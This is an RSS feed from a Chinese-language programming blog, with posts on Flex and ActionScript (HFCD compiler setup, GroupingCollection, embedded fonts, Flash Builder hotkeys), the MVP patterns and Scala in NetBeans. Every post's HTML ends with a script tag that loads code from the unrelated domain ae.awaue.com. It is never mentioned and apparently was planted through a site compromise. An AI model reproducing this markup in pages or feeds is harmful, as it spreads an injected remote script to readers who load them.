<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>小薛部落格</title>
	<atom:link href="http://blog.shiue.net/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.shiue.net</link>
	<description>千江有水千江月 萬里無雲萬里天</description>
	<pubDate>Fri, 02 Jul 2010 00:57:11 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.3</generator>
	<language>en</language>
			<item>
		<title>HFCD: 快速Flex編譯器</title>
		<link>http://blog.shiue.net/archives/1062</link>
		<comments>http://blog.shiue.net/archives/1062#comments</comments>
		<pubDate>Fri, 02 Jul 2010 00:55:21 +0000</pubDate>
		<dc:creator>小薛</dc:creator>
		
		<category><![CDATA[Actionscript]]></category>

		<guid isPermaLink="false">http://blog.shiue.net/?p=1062</guid>
		<description><![CDATA[HFCD( Hell Fire Compiler Daemon ) 是由 Clement Wong(http://stopcoding.wordpress.com/)開發的，他原本是Flex SDK team的一員負責compiler的種種(難怪XD)。
如果你也常維護比較大的Flex專案，我想會很需要節省每次重新compile的時間的，實際測試過之後，比官方編譯器大約快了一倍(個人感覺啦)。安裝的方法如下:

到: http://bytecode-workshop.com/#section=downloads
下載: 3.5/4.0 的安裝檔
安裝, 設定eclipse home(例: C:\Program Files\Adobe\Adobe Flash Builder 4 Plug-in\eclipse-host-distro), sdk home, workspace dir 要正確
啟動HFCD daemon
打開FlashBuilder
到你的專案properties, 變更 compiler 為 HFCD 3.5/4.0  
完成


]]></description>
			<content:encoded><![CDATA[<p>HFCD( Hell Fire Compiler Daemon ) 是由 Clement Wong<a href="http://stopcoding.wordpress.com/">(http://stopcoding.wordpress.com/</a>)開發的，他原本是Flex SDK team的一員負責compiler的種種(難怪XD)。<br />
如果你也常維護比較大的Flex專案，我想會很需要節省每次重新compile的時間的，實際測試過之後，比官方編譯器大約快了一倍(個人感覺啦)。安裝的方法如下:</p>
<ol>
<li>到: <br/><a href="http://bytecode-workshop.com/#section=downloads"><img src="http://blog.shiue.net/wp-content/uploads/2010/07/2010-07-02_0847-300x179.png" alt="" title="2010-07-02_0847" width="300" height="179" class="alignnone size-medium wp-image-1064" /></a><a href="http://bytecode-workshop.com/#section=downloads">http://bytecode-workshop.com/#section=downloads</a></li>
<li>下載: 3.5/4.0 的安裝檔</li>
<li>安裝, 設定eclipse home(例: C:\Program Files\Adobe\Adobe Flash Builder 4 Plug-in\eclipse-host-distro), sdk home, workspace dir 要正確</li>
<li>啟動HFCD daemon</li>
<li>打開FlashBuilder</li>
<li>到你的專案properties, 變更 compiler 為 HFCD 3.5/4.0 <br/><a href="http://blog.shiue.net/wp-content/uploads/2010/07/2010-07-02_0848.png"><img src="http://blog.shiue.net/wp-content/uploads/2010/07/2010-07-02_0848-300x277.png" alt="" title="flex project properties" width="300" height="277" class="alignnone size-medium wp-image-1063" /></a> </li>
<li>完成</li>
</ol>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.shiue.net/archives/1062/feed</wfw:commentRss>
		</item>
		<item>
		<title>找不到ant control lib時</title>
		<link>http://blog.shiue.net/archives/1055</link>
		<comments>http://blog.shiue.net/archives/1055#comments</comments>
		<pubDate>Sun, 30 May 2010 15:21:10 +0000</pubDate>
		<dc:creator>小薛</dc:creator>
		
		<category><![CDATA[java]]></category>

		<category><![CDATA[ant]]></category>

		<guid isPermaLink="false">http://blog.shiue.net/?p=1055</guid>
		<description><![CDATA[要到這裡找:
http://ant-contrib.sourceforge.net/

通常把jar放在
%ANT_HOME/lib
底下。當然也可以分開放啦&#8230;
但eclipse用的env.ANT_HOME不是ANT_HOME喔，可能是c:\eclipse\plugin\&#8230;.，要特別注意。
]]></description>
			<content:encoded><![CDATA[<p>要到這裡找:</p>
<p><a href="http://ant-contrib.sourceforge.net/">http://ant-contrib.sourceforge.net/<br />
</a></p>
<p>通常把jar放在</p>
<blockquote><p>%ANT_HOME/lib</p></blockquote>
<p>底下。當然也可以分開放啦&#8230;<br />
但eclipse用的env.ANT_HOME不是ANT_HOME喔，可能是c:\eclipse\plugin\&#8230;.，要特別注意。<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.shiue.net/archives/1055/feed</wfw:commentRss>
		</item>
		<item>
		<title>MVP: Supervising Controller, Passive View</title>
		<link>http://blog.shiue.net/archives/1053</link>
		<comments>http://blog.shiue.net/archives/1053#comments</comments>
		<pubDate>Tue, 18 May 2010 10:12:31 +0000</pubDate>
		<dc:creator>小薛</dc:creator>
		
		<category><![CDATA[design pattern]]></category>

		<guid isPermaLink="false">http://blog.shiue.net/?p=1053</guid>
		<description><![CDATA[原文:

Supervising Controller
Passive View

由MVP(model-view-presenter)衍生出來的兩個design pattern，共同的優點是:

讓Controller(Presenter) classes 更容易test(enhance testablilty)
將view的操作邏輯、事件處理等等分離出來

兩者差異：
Passive View 完全地去除對Model的依賴，&#8221;更新view的資料顯示&#8221;的工作全部由presenter去執行，因此也不需要依賴諸如DataBinding等observer pattern的功能；相對地，Supervising Controller 可以將&#8221;更新view的資料顯示&#8221;交給DataBinding去執行。
見圖：(ref: http://martinfowler.com/ )
Supervising Presenter:

Passive View:


]]></description>
			<content:encoded><![CDATA[<p>原文:</p>
<ul>
<li><a href="http://martinfowler.com/eaaDev/SupervisingPresenter.html">Supervising Controller</a></li>
<li><a href="http://martinfowler.com/eaaDev/PassiveScreen.html">Passive View</a></li>
</ul>
<p>由MVP(model-view-presenter)衍生出來的兩個design pattern，共同的優點是:</p>
<ul>
<li>讓Controller(Presenter) classes 更容易test(enhance testablilty)</li>
<li>將view的操作邏輯、事件處理等等分離出來</li>
</ul>
<p>兩者差異：<br />
Passive View 完全地去除對Model的依賴，&#8221;更新view的資料顯示&#8221;的工作全部由presenter去執行，因此也不需要依賴諸如DataBinding等observer pattern的功能；相對地，Supervising Controller 可以將&#8221;更新view的資料顯示&#8221;交給DataBinding去執行。</p>
<p>見圖：(ref: http://martinfowler.com/ )<br />
<strong>Supervising Presenter:</strong><br />
<img src="http://martinfowler.com/eaaDev/supervisingPresenter/assess-cd.gif" alt="supervising presenter class diagram" /></p>
<p><strong>Passive View:</strong><br />
<img src="http://martinfowler.com/eaaDev/passiveScreen/assess-cd.gif" alt="Passive view class diagram" /></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.shiue.net/archives/1053/feed</wfw:commentRss>
		</item>
		<item>
		<title>NetBeans + Scala + Scala IDE</title>
		<link>http://blog.shiue.net/archives/1044</link>
		<comments>http://blog.shiue.net/archives/1044#comments</comments>
		<pubDate>Wed, 28 Apr 2010 08:06:12 +0000</pubDate>
		<dc:creator>小薛</dc:creator>
		
		<category><![CDATA[scala]]></category>

		<category><![CDATA[NetBeans]]></category>

		<guid isPermaLink="false">http://blog.shiue.net/?p=1044</guid>
		<description><![CDATA[NetBeans+Scala+Scala Plugin安裝方法:
下載:
NetBeans:
http://netbeans.org/downloads/index.html
Scala 2.8 RC1 (不能用2.77) :
http://www.scala-lang.org/downloads/distrib/files/scala-2.8.0.RC1.zip

Scala IDE Plugin:(ref:http://blogtrader.net/)
http://sourceforge.net/projects/erlybird/files/nb-scala/6.8v1.1.0rc2/
安裝:

裝 scala : 把scala.zip解開到你要的目錄, 設定環境變數: SCALA_HOME =[你的scala目錄] 以及 PATH=[你的scala目錄\bin]。設定好之後到command line之下打: scala 應該要看到scala的基本資訊。操作畫面如下:



裝 netBeans
裝 Scala IDE Plugin: 下載好之後，把下載的zip檔解壓縮到某處。打開裝好的NetBeans，進入&#8221;Tools&#8221; ->&#8221;Plugins&#8221;, 選&#8221;Downloaded&#8221; tab，選&#8221;Add Plugins&#8230;，選剛剛你解壓縮的地方，把所有的*.nbm檔案都選起來，安裝後重新啟動NetBeans即可。 

建立測試用 Scala Project:

執行經典Hello World:

如果沒意外應該會看到Output裡面有&#8221;Hello World&#8221;。

]]></description>
			<content:encoded><![CDATA[<p>NetBeans+Scala+Scala Plugin安裝方法:</p>
<h3>下載:</h3>
<p>NetBeans:<br />
<a href="http://netbeans.org/downloads/index.html">http://netbeans.org/downloads/index.html</a></p>
<p>Scala 2.8 RC1 (不能用2.77) :<br />
<a href="http://www.scala-lang.org/downloads/distrib/files/scala-2.8.0.RC1.zip">http://www.scala-lang.org/downloads/distrib/files/scala-2.8.0.RC1.zip<br />
</a><br />
Scala IDE Plugin:(ref:http://blogtrader.net/)<br />
<a href="http://sourceforge.net/projects/erlybird/files/nb-scala/6.8v1.1.0rc2/">http://sourceforge.net/projects/erlybird/files/nb-scala/6.8v1.1.0rc2/</a></p>
<h3>安裝:</h3>
<ul>
<li>裝 scala : 把scala.zip解開到你要的目錄, 設定環境變數: <strong>SCALA_HOME =[你的scala目錄] </strong>以及 <strong>PATH=[你的scala目錄\bin]</strong>。設定好之後到command line之下打: scala 應該要看到scala的基本資訊。操作畫面如下:<br />
<a href="http://blog.shiue.net/wp-content/uploads/2010/04/env_var.png"><img src="http://blog.shiue.net/wp-content/uploads/2010/04/env_var-300x182.png" alt="" title="env_var" width="300" height="182" class="alignnone size-medium wp-image-1046" /></a><br />
<a href="http://blog.shiue.net/wp-content/uploads/2010/04/scala_cmd.png"><img src="http://blog.shiue.net/wp-content/uploads/2010/04/scala_cmd-300x132.png" alt="" title="scala_cmd" width="300" height="132" class="alignnone size-medium wp-image-1047" /></a>
</li>
<li>裝 netBeans</li>
<li>裝 Scala IDE Plugin: 下載好之後，把下載的zip檔解壓縮到某處。<br/>打開裝好的NetBeans，進入&#8221;Tools&#8221; ->&#8221;Plugins&#8221;, 選&#8221;Downloaded&#8221; tab，選&#8221;Add Plugins&#8230;，選剛剛你解壓縮的地方，把所有的*.nbm檔案都選起來，安裝後重新啟動NetBeans即可。 </li>
</ul>
<h3>建立測試用 Scala Project:</h3>
<p><a href="http://blog.shiue.net/wp-content/uploads/2010/04/new_scala_proj.png"><img src="http://blog.shiue.net/wp-content/uploads/2010/04/new_scala_proj-300x204.png" alt="" title="new_scala_proj" width="300" height="204" class="alignnone size-medium wp-image-1048" /></a><br />
執行經典Hello World:<br />
<a href="http://blog.shiue.net/wp-content/uploads/2010/04/run.png"><img src="http://blog.shiue.net/wp-content/uploads/2010/04/run-300x206.png" alt="" title="run" width="300" height="206" class="alignnone size-medium wp-image-1049" /></a></p>
<p>如果沒意外應該會看到Output裡面有&#8221;Hello World&#8221;。</p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.shiue.net/archives/1044/feed</wfw:commentRss>
		</item>
		<item>
		<title>Google Chrome 與 Adobe Flash Player 攜手合作</title>
		<link>http://blog.shiue.net/archives/1034</link>
		<comments>http://blog.shiue.net/archives/1034#comments</comments>
		<pubDate>Fri, 02 Apr 2010 03:27:38 +0000</pubDate>
		<dc:creator>小薛</dc:creator>
		
		<category><![CDATA[Actionscript]]></category>

		<category><![CDATA[chrome]]></category>

		<category><![CDATA[flash player]]></category>

		<guid isPermaLink="false">http://blog.shiue.net/?p=1034</guid>
		<description><![CDATA[原文連結:
Chrome Blog
Adobe Flash Blog
簡單來說，Chrome目前會做三件事:

Chrome 會自動下載最新版本Flash Player ，不用分開安裝
Chrome 會自動更新最新版本Flash Player ，不用自己手動更新
Chrome 會擴大Flash Player 對瀏覽器的控制範圍

Google、Adobe、Mozilla 正再製作下一帶的瀏覽器外掛API，使Flash Player之間的互動更加密切，不用ExternalAPI去控制Javascript和HTML DOM 了。
update:
下載Google chrome dev 版本後，要記得加上啟動參數:
-enable-internal-flash
然後啟動chrome會看到:

這樣應該就行了 

]]></description>
			<content:encoded><![CDATA[<p>原文連結:<br />
<a href="http://blog.chromium.org/2010/03/bringing-improved-support-for-adobe.html">Chrome Blog</a></p>
<p><a href="http://blogs.adobe.com/flashplayer/2010/03/improved_flash_player_support.html">Adobe Flash Blog</a></p>
<p>簡單來說，Chrome目前會做三件事:</p>
<ul>
<li>Chrome 會自動下載最新版本Flash Player ，不用分開安裝</li>
<li>Chrome 會自動更新最新版本Flash Player ，不用自己手動更新</li>
<li>Chrome 會擴大Flash Player 對瀏覽器的控制範圍</li>
</ul>
<p>Google、Adobe、Mozilla 正再製作下一帶的瀏覽器外掛API，使Flash Player之間的互動更加密切，不用ExternalAPI去控制Javascript和HTML DOM 了。</p>
<p>update:<br />
下載<a href="http://dev.chromium.org/getting-involved/dev-channel">Google chrome dev</a> 版本後，要記得加上啟動參數:</p>
<div class="codecolorer-container text " style="overflow:auto;white-space:nowrap;width:435px"><div class="text codecolorer" style="font-family:Monaco,Lucida Console,monospace">-enable-internal-flash</div></div>
<p>然後啟動chrome會看到:<br />
<a href="http://blog.shiue.net/wp-content/uploads/2010/04/enable_flashplayer.png"><img src="http://blog.shiue.net/wp-content/uploads/2010/04/enable_flashplayer-300x199.png" alt="" title="confirm enable flash player" width="300" height="199" class="alignnone size-medium wp-image-1037" /></a></p>
<p>這樣應該就行了 <img src='http://blog.shiue.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.shiue.net/archives/1034/feed</wfw:commentRss>
		</item>
		<item>
		<title>利用GroupingCollection幫你分組</title>
		<link>http://blog.shiue.net/archives/1025</link>
		<comments>http://blog.shiue.net/archives/1025#comments</comments>
		<pubDate>Fri, 26 Mar 2010 10:57:16 +0000</pubDate>
		<dc:creator>小薛</dc:creator>
		
		<category><![CDATA[Actionscript]]></category>

		<category><![CDATA[flex]]></category>

		<category><![CDATA[GroupingCollection]]></category>

		<guid isPermaLink="false">http://blog.shiue.net/?p=1025</guid>
		<description><![CDATA[有些時候我們有一堆資料物件, 需要根據物件的某個屬性值作分類, 最直接的方法就是跑個迴圈，如:
var hash:Object = &#123;&#125;;
for each&#40; var obj:Object in objectList &#41;
&#123;
//檢查obj的屬性值
if&#40; obj.name in hash &#41;
hash&#91;obj.name&#93;.addItem&#40; obj &#41;;
else
hash&#91;obj.name&#93; = new ArrayCollcetion&#40;&#91;obj&#93;&#41;;
&#125;

//結果就是根據 obj.name 值分類好的hashmap
但我們可以利用Flex的GroupingCollection幫我們作這個工作, 而且過程封裝的更好:
var groupingCollection:GroupingCollection&#40;&#41;;
var gping:Grouping = new Grouping&#40;&#41;;
var field:GroupingField = new GroupingField&#40;&#34;你要分群組的屬性名稱&#34;&#41;;
//給予要群組的屬性, 可有多個GroupingField, 
//會依序群組, 非常類似SQL::GROUP BY
gping.fields = &#91; field &#93;; 

groupingCollection.grouping = gping; //設定Grouping
groupingCollection.source = 原始資料 &#40;通常是ArrayCollection&#41;;
groupingCollection.refresh&#40;&#41;; //叫GroupingCollection開始工作

//重要的來了, 呼叫getRoot()取得GroupingCollection幫我們分群好的資料:
//結果通常是一個新的ArrayCollection, 裡面有多個Object ,
//每個 Object 有一個children屬性, 包了分組好的物件(原物件)
//Object本身有個預設的GroupLabel屬性,是根據你的資料內容的群組名稱
var [...]]]></description>
			<content:encoded><![CDATA[<p>有些時候我們有一堆資料物件, 需要根據物件的某個屬性值作分類, 最直接的方法就是跑個迴圈，如:</p>
<div class="codecolorer-container actionscript " style="overflow:auto;white-space:nowrap;width:435px"><div class="actionscript codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="kw2">var</span> hash:<span class="kw3">Object</span> = <span class="br0">&#123;</span><span class="br0">&#125;</span>;<br />
<span class="kw1">for</span> each<span class="br0">&#40;</span> <span class="kw2">var</span> obj:<span class="kw3">Object</span> <span class="kw1">in</span> objectList <span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
<span class="co1">//檢查obj的屬性值</span><br />
<span class="kw1">if</span><span class="br0">&#40;</span> obj.<span class="kw3">name</span> <span class="kw1">in</span> hash <span class="br0">&#41;</span><br />
hash<span class="br0">&#91;</span>obj.<span class="kw3">name</span><span class="br0">&#93;</span>.<span class="me1">addItem</span><span class="br0">&#40;</span> obj <span class="br0">&#41;</span>;<br />
<span class="kw1">else</span><br />
hash<span class="br0">&#91;</span>obj.<span class="kw3">name</span><span class="br0">&#93;</span> = <span class="kw2">new</span> ArrayCollcetion<span class="br0">&#40;</span><span class="br0">&#91;</span>obj<span class="br0">&#93;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
<br />
<span class="co1">//結果就是根據 obj.name 值分類好的hashmap</span></div></div>
<p>但我們可以利用Flex的GroupingCollection幫我們作這個工作, 而且過程封裝的更好:</p>
<div class="codecolorer-container actionscript " style="overflow:auto;white-space:nowrap;width:435px"><div class="actionscript codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="kw2">var</span> groupingCollection:GroupingCollection<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="kw2">var</span> gping:Grouping = <span class="kw2">new</span> Grouping<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="kw2">var</span> field:GroupingField = <span class="kw2">new</span> GroupingField<span class="br0">&#40;</span><span class="st0">&quot;你要分群組的屬性名稱&quot;</span><span class="br0">&#41;</span>;<br />
<span class="co1">//給予要群組的屬性, 可有多個GroupingField, </span><br />
<span class="co1">//會依序群組, 非常類似SQL::GROUP BY</span><br />
gping.<span class="me1">fields</span> = <span class="br0">&#91;</span> field <span class="br0">&#93;</span>; <br />
<br />
groupingCollection.<span class="me1">grouping</span> = gping; <span class="co1">//設定Grouping</span><br />
groupingCollection.<span class="me1">source</span> = 原始資料 <span class="br0">&#40;</span>通常是ArrayCollection<span class="br0">&#41;</span>;<br />
groupingCollection.<span class="me1">refresh</span><span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">//叫GroupingCollection開始工作</span><br />
<br />
<span class="co1">//重要的來了, 呼叫getRoot()取得GroupingCollection幫我們分群好的資料:</span><br />
<span class="co1">//結果通常是一個新的ArrayCollection, 裡面有多個Object ,</span><br />
<span class="co1">//每個 Object 有一個children屬性, 包了分組好的物件(原物件)</span><br />
<span class="co1">//Object本身有個預設的GroupLabel屬性,是根據你的資料內容的群組名稱</span><br />
<span class="kw2">var</span> result:<span class="kw3">Object</span> = groupingCollection.<span class="me1">getRoot</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div></div>
<p>預設的GroupLabel屬性名可以透過: Grouping#label 改成你想要的屬性名稱。<br />
或許你會覺得這哪裡好，比一開始的還要複雜很多，其實他的威力不只是分群，還可以幫你分群作加總、求最大/最小值/平均值的功能呢，利用 SummaryRow 就可以輕鬆作到喔!</p>
<div class="codecolorer-container actionscript " style="overflow:auto;white-space:nowrap;width:435px"><div class="actionscript codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="kw2">var</span> summaryRow:SummaryRow = <span class="kw2">new</span> SummaryRow<span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
<span class="kw2">var</span> smryField:SummaryField = <span class="kw2">new</span> SummaryField<span class="br0">&#40;</span><span class="st0">&quot;price&quot;</span>,<span class="st0">&quot;SUM&quot;</span><span class="br0">&#41;</span>; <span class="co1">//price ==&gt; 要處理的屬性名稱</span><br />
summaryRow.<span class="me1">fields</span> = <span class="br0">&#91;</span>smryField<span class="br0">&#93;</span>;<br />
<span class="kw2">var</span> groupField:GroupingField = <span class="kw2">new</span> GroupingField<span class="br0">&#40;</span> <span class="st0">&quot;name&quot;</span> <span class="br0">&#41;</span>;<br />
groupField.<span class="me1">summaries</span> = <span class="br0">&#91;</span> summarRow <span class="br0">&#93;</span> ;<br />
...參考上方</div></div>
<p>上述結果是一個根據物件的&#8221;name&#8221;屬性分組，並且根據物件的&#8221;price&#8221;屬性作加總的GroupingCollection。同樣地利用getRoot();取得結果，可以看到新建立出來的Object#children除了有分群好的物件之外，還多出了SummaryObject，裡面就是幫我們算好的值。</p>
<h3>補充:</h3>
<h4>自訂群組結點的標籤產生方式: </h4>
<p>GroupingField#groupingFunction :<br />
自訂group object#label的方法，在label不是單單靠某屬性值就能解決的情況，特別好用。 ex: 想作出一個group#lable = vo.name + vo.lastName + vo.id<br />
signature:</p>
<blockquote><p>
groupingFunction(item:Object, field:GroupField):String
</p></blockquote>
<p>特別注意的: 當你覆寫了這個方法同時，記得也要覆寫 GroupingField#compareFunction，因為GroupingCollection建立GroupingCollectionView的時候會先對原始內容(來源ListCollectionView)排序，再產生Grouping(這樣效能比較好)。因此假設你的compareFunction並沒有寫好，那麼你會常常看到同一個群組結點標籤出現在不同的群組結點上。如果你不想用compareFunction，那麼，至少GroupingField#name的值對排序要有意義。</p>
<h4>自訂群組結點物件內容:</h4>
<p>GroupingField#groupingFunction : </p>
<blockquote><p>
產生group object的方法，當你不想要用預設的groupobject + label的方法，可用此方法自訂一Grouping Object的結構。<br />
signature: myGroupObjectFunction(label:String):Object
</p></blockquote>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.shiue.net/archives/1025/feed</wfw:commentRss>
		</item>
		<item>
		<title>Embeded font</title>
		<link>http://blog.shiue.net/archives/1004</link>
		<comments>http://blog.shiue.net/archives/1004#comments</comments>
		<pubDate>Sat, 19 Dec 2009 08:24:27 +0000</pubDate>
		<dc:creator>小薛</dc:creator>
		
		<category><![CDATA[Actionscript]]></category>

		<category><![CDATA[embeded font]]></category>

		<category><![CDATA[flex]]></category>

		<guid isPermaLink="false">http://blog.shiue.net/?p=1004</guid>
		<description><![CDATA[常用的Embeded font 寫法，從Adobe手冊抄來的:
重點是: 用同一個Font Family Name 但是Embed不同的Font Face, 這樣可處理大部分的字型問題，不然，常常會有字形粗體時跑回Arial, Tahoma 的情況。
@font-face {
&#160; &#160; &#160; &#160; src:url(&#34;../assets/MyriadWebPro.ttf&#34;);
&#160; &#160; &#160; &#160; fontFamily: myFont;
&#160; &#160; &#160; &#160; advancedAntiAliasing: true;
&#160; &#160; &#160;}

&#160; &#160; &#160;@font-face {
&#160; &#160; &#160; &#160; /* Note the different filename for boldface. */
&#160; &#160; &#160; &#160; src:url(&#34;../assets/MyriadWebPro-Bold.ttf&#34;);
&#160; &#160; &#160; &#160; fontFamily: myFont; /* Notice that this [...]]]></description>
			<content:encoded><![CDATA[<p>常用的Embeded font 寫法，從Adobe手冊抄來的:<br />
重點是: 用同一個Font Family Name 但是Embed不同的Font Face, 這樣可處理大部分的字型問題，不然，常常會有字形粗體時跑回Arial, Tahoma 的情況。</p>
<div class="codecolorer-container text " style="overflow:auto;white-space:nowrap;width:435px;height:300px"><div class="text codecolorer" style="font-family:Monaco,Lucida Console,monospace">@font-face {<br />
&nbsp; &nbsp; &nbsp; &nbsp; src:url(&quot;../assets/MyriadWebPro.ttf&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; fontFamily: myFont;<br />
&nbsp; &nbsp; &nbsp; &nbsp; advancedAntiAliasing: true;<br />
&nbsp; &nbsp; &nbsp;}<br />
<br />
&nbsp; &nbsp; &nbsp;@font-face {<br />
&nbsp; &nbsp; &nbsp; &nbsp; /* Note the different filename for boldface. */<br />
&nbsp; &nbsp; &nbsp; &nbsp; src:url(&quot;../assets/MyriadWebPro-Bold.ttf&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; fontFamily: myFont; /* Notice that this is the same alias. */<br />
&nbsp; &nbsp; &nbsp; &nbsp; fontWeight: bold;<br />
&nbsp; &nbsp; &nbsp; &nbsp; advancedAntiAliasing: true;<br />
&nbsp; &nbsp; &nbsp;}<br />
<br />
&nbsp; &nbsp; &nbsp;@font-face {<br />
&nbsp; &nbsp; &nbsp; &nbsp; /* Note the different filename for italic face. */<br />
&nbsp; &nbsp; &nbsp; &nbsp; src:url(&quot;../assets/MyriadWebPro-Italic.ttf&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; fontFamily: myFont; /* Notice that this is the same alias. */<br />
&nbsp; &nbsp; &nbsp; &nbsp; fontStyle: italic;<br />
&nbsp; &nbsp; &nbsp; &nbsp; advancedAntiAliasing: true;<br />
&nbsp; &nbsp; &nbsp;}</div></div>
<p>see:<br />
<a href="http://livedocs.adobe.com/flex/3/html/help.html?content=fonts_04.html#133099">http://livedocs.adobe.com/flex/3/html/help.html?content=fonts_04.html#133099</a></p>
<div class="codecolorer-container text " style="overflow:auto;white-space:nowrap;width:435px"><div class="text codecolorer" style="font-family:Monaco,Lucida Console,monospace">[Embed(systemFont='Myriad Web Pro', <br />
&nbsp; &nbsp; &nbsp; &nbsp; fontStyle='italic', <br />
&nbsp; &nbsp; &nbsp; &nbsp; fontName='myItalicFont', <br />
&nbsp; &nbsp; &nbsp; &nbsp; mimeType='application/x-font', <br />
&nbsp; &nbsp; &nbsp; &nbsp; advancedAntiAliasing='true'<br />
&nbsp; &nbsp; &nbsp;)] <br />
&nbsp; &nbsp; &nbsp;private var font2:Class;</div></div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.shiue.net/archives/1004/feed</wfw:commentRss>
		</item>
		<item>
		<title>好用的Flash Builder 快速鍵( hotkey )</title>
		<link>http://blog.shiue.net/archives/1001</link>
		<comments>http://blog.shiue.net/archives/1001#comments</comments>
		<pubDate>Fri, 13 Nov 2009 05:45:33 +0000</pubDate>
		<dc:creator>小薛</dc:creator>
		
		<category><![CDATA[Actionscript]]></category>

		<category><![CDATA[flash builder]]></category>

		<guid isPermaLink="false">http://blog.shiue.net/?p=1001</guid>
		<description><![CDATA[這也是從Adobe TV的MAX2009 session 聽來的，完整版請到adobe.tv看。

Ctrl+3 : 顯示快速command列表, 可以type-and-search執行所有的eclipse command
Ctrl + I : 自動縮排的妙用: 由別的文字檔貼過來的文字，全選後按下此快速鍵會自動排列。文字游標(I-Beam)移到任何地方按下此快速鍵，自動移到應該要去的地方，省得你按一堆tab和space
Ctrl+Shift+T:是open type， 這個大家都知道，但是奧妙在type-search的地方，可以打camel case string 作為搜尋；甚至可以用wildcard search. 舉例來說，想打開AdvancedDataGrid, 不用打Adv&#8230;去找，可打ADG就好( AdvancedDataGrid )。用wildcard search: 打 *skin 會列出所有 XXXskin相關的classes
Code assist : Alt+. (預設) 可以重複按，會自動filter分類，本來是顯示所有的屬性，每一次會顯示各類別: property, style, event


]]></description>
			<content:encoded><![CDATA[<p>這也是從Adobe TV的MAX2009 session 聽來的，完整版請到adobe.tv看。</p>
<ul>
<li>Ctrl+3 : 顯示快速command列表, 可以type-and-search執行所有的eclipse command</li>
<li>Ctrl + I : 自動縮排的妙用: 由別的文字檔貼過來的文字，全選後按下此快速鍵會自動排列。文字游標(I-Beam)移到任何地方按下此快速鍵，自動移到應該要去的地方，省得你按一堆tab和space</li>
<li>Ctrl+Shift+T:是open type， 這個大家都知道，但是奧妙在type-search的地方，可以打camel case string 作為搜尋；甚至可以用wildcard search. 舉例來說，想打開AdvancedDataGrid, 不用打Adv&#8230;去找，可打ADG就好( <strong>A</strong>dvanced<strong>D</strong>ata<strong>G</strong>rid )。用wildcard search: 打 *skin 會列出所有 XXXskin相關的classes</li>
<li>Code assist : Alt+. (預設) 可以重複按，會自動filter分類，本來是顯示所有的屬性，每一次會顯示各類別: property, style, event</li>
</ul>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.shiue.net/archives/1001/feed</wfw:commentRss>
		</item>
		<item>
		<title>用Google Analytics 分析Flex應用程式</title>
		<link>http://blog.shiue.net/archives/966</link>
		<comments>http://blog.shiue.net/archives/966#comments</comments>
		<pubDate>Tue, 10 Nov 2009 05:33:59 +0000</pubDate>
		<dc:creator>小薛</dc:creator>
		
		<category><![CDATA[Actionscript]]></category>

		<category><![CDATA[actionscript]]></category>

		<category><![CDATA[google]]></category>

		<guid isPermaLink="false">http://blog.shiue.net/?p=966</guid>
		<description><![CDATA[Google 真的太威了&#8230;
安裝說明:
http://code.google.com/apis/analytics/docs/tracking/flashTrackingSetupFlex.html#getTheLibrary
取得library:
http://code.google.com/p/gaforflash/
注意:
GA tracking 的結果，不是及時的!
測試不是能夠直接看到結果的，必須等待幾個小時再到Google Analytics網站看報告。


]]></description>
			<content:encoded><![CDATA[<p><strong>Google 真的太威了&#8230;</strong></p>
<p>安裝說明:<br />
http://code.google.com/apis/analytics/docs/tracking/flashTrackingSetupFlex.html#getTheLibrary<br />
取得library:<br />
http://code.google.com/p/gaforflash/</p>
<blockquote><p>注意:<br />
GA tracking 的結果，不是及時的!<br />
測試不是能夠直接看到結果的，必須等待<strong>幾個小時</strong>再到Google Analytics網站看報告。
</p></blockquote>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.shiue.net/archives/966/feed</wfw:commentRss>
		</item>
		<item>
		<title>你也在寫Flex嗎? 那你可能要特別注意&#8230;</title>
		<link>http://blog.shiue.net/archives/992</link>
		<comments>http://blog.shiue.net/archives/992#comments</comments>
		<pubDate>Tue, 10 Nov 2009 05:28:25 +0000</pubDate>
		<dc:creator>小薛</dc:creator>
		
		<category><![CDATA[Actionscript]]></category>

		<category><![CDATA[actionscript]]></category>

		<category><![CDATA[flex]]></category>

		<guid isPermaLink="false">http://blog.shiue.net/?p=992</guid>
		<description><![CDATA[本篇文章來自MAX2009的session:
How Not to code FLEX

演講者主要說明何謂壞程式碼(bad code)，但也說壞程式碼不一定不好，只要你確定能盡快回來改正他。那何謂壞程式碼?

